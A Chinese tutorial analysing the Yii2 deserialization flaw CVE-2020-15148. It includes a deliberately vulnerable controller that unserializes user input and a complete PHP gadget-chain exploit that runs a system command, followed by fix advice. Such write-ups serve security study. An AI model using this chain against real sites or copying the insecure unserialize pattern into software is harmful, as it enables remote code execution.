巧用可变函数 绕过 CVE-2020-15148 限制
字数 978 2025-08-20 18:18:05

Yii2框架反序列化漏洞分析与利用教学

1. 漏洞概述

CVE-2020-15148是Yii2框架中的一个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现任意代码执行。该漏洞与Laravel框架的反序列化漏洞有相似之处,都利用了PHP的可变函数特性。

2. 前置知识

2.1 Yii2框架基础

Yii2是一个MVC框架,主要特点包括:

  • 控制器方法以action为前缀
  • 默认使用r参数表示路由(如/index.php?r=post/view&id=100
  • 支持URL美化

2.2 PHP可变函数

PHP允许将数组作为函数调用,形式为:

$func = array("ClassName", "methodName");
$func(); // 等同于ClassName::methodName()

$func = array(new ClassName, "methodName");
$func(); // 等同于$obj->methodName()

3. 漏洞环境搭建

  1. 下载Yii2框架源码
  2. 创建测试控制器HelloController
namespace app\controllers;

use Yii;
use yii\web\Controller;

class HelloController extends Controller {
    function actionTest() {
        $name = Yii::$app->request->get('unserialize');
        return unserialize(base64_decode($name));
    }
}
  1. 通过URL访问:/index.php?r=hello/test&unserialize=[恶意payload]

4. 漏洞利用链分析

4.1 利用链组成

完整的利用链涉及以下类:

  1. Codeception\Extension\RunProcess - 反序列化入口点,触发__destruct
  2. Faker\Generator - 通过__call魔术方法实现方法调用
  3. yii\log\DbTarget - 提供可控的export方法调用
  4. Codeception\Util\XmlBuilder - 辅助类

4.2 关键点

  1. 利用RunProcess__destruct方法触发链式调用
  2. 通过Generator__call方法实现任意方法调用
  3. 使用DbTargetexport方法作为跳板
  4. 最终通过可变函数实现任意代码执行

5. 漏洞利用EXP构造

<?php
// misc
namespace Codeception\Util;
class XmlBuilder {
    function __construct() {
        $this->__dom__ = 0;
    }
}

// poc
namespace yii\log;
class DbTarget {
    public $logTable;
}

// __call
namespace Faker;
class Generator {
    public $formatters;
}

// __destruct
namespace Codeception\Extension;
use Codeception\Util\XmlBuilder;
use Faker\Generator;
use yii\log\DbTarget;

class RunProcess {
    public $processes;
    public $output;
}

$g2 = new Generator();
$g2->formatters = [
    'quoteTableName' => 'system',
    'getTransaction' => [new XmlBuilder(), 'getDom']
];

$col = new DbTarget();
$col->db = $g2;
$col->logTable = 'dir';

$g1 = new Generator();
$g1->formatters = [
    'isRunning' => [$col, 'export']
];

$run_process = new RunProcess();
$run_process->processes = [$g1];

echo base64_encode(serialize($run_process));
?>

6. 漏洞修复建议

  1. 避免直接反序列化用户输入
  2. 使用白名单限制可反序列化的类
  3. 更新到Yii2的最新版本

7. 扩展思考

  1. 该漏洞利用方式与Laravel反序列化漏洞的相似之处
  2. PHP可变函数在漏洞利用中的多种应用场景
  3. 如何通过代码审计发现类似的反序列化漏洞

8. 参考资源

  1. Yii2官方文档
  2. PHP可变函数官方文档
  3. CVE-2020-15148漏洞报告
  4. 先知社区相关分析文章

通过本教学,您应该已经掌握了Yii2框架反序列化漏洞的原理、利用方法及防御措施。在实际应用中,请务必遵守法律法规,仅在授权环境下进行安全测试。

Yii2框架反序列化漏洞分析与利用教学 1. 漏洞概述 CVE-2020-15148是Yii2框架中的一个反序列化漏洞,攻击者可以通过精心构造的序列化数据实现任意代码执行。该漏洞与Laravel框架的反序列化漏洞有相似之处,都利用了PHP的可变函数特性。 2. 前置知识 2.1 Yii2框架基础 Yii2是一个MVC框架,主要特点包括: 控制器方法以 action 为前缀 默认使用 r 参数表示路由(如 /index.php?r=post/view&id=100 ) 支持URL美化 2.2 PHP可变函数 PHP允许将数组作为函数调用,形式为: 3. 漏洞环境搭建 下载Yii2框架源码 创建测试控制器 HelloController : 通过URL访问: /index.php?r=hello/test&unserialize=[恶意payload] 4. 漏洞利用链分析 4.1 利用链组成 完整的利用链涉及以下类: Codeception\Extension\RunProcess - 反序列化入口点,触发 __destruct Faker\Generator - 通过 __call 魔术方法实现方法调用 yii\log\DbTarget - 提供可控的 export 方法调用 Codeception\Util\XmlBuilder - 辅助类 4.2 关键点 利用 RunProcess 的 __destruct 方法触发链式调用 通过 Generator 的 __call 方法实现任意方法调用 使用 DbTarget 的 export 方法作为跳板 最终通过可变函数实现任意代码执行 5. 漏洞利用EXP构造 6. 漏洞修复建议 避免直接反序列化用户输入 使用白名单限制可反序列化的类 更新到Yii2的最新版本 7. 扩展思考 该漏洞利用方式与Laravel反序列化漏洞的相似之处 PHP可变函数在漏洞利用中的多种应用场景 如何通过代码审计发现类似的反序列化漏洞 8. 参考资源 Yii2官方文档 PHP可变函数官方文档 CVE-2020-15148漏洞报告 先知社区相关分析文章 通过本教学,您应该已经掌握了Yii2框架反序列化漏洞的原理、利用方法及防御措施。在实际应用中,请务必遵守法律法规,仅在授权环境下进行安全测试。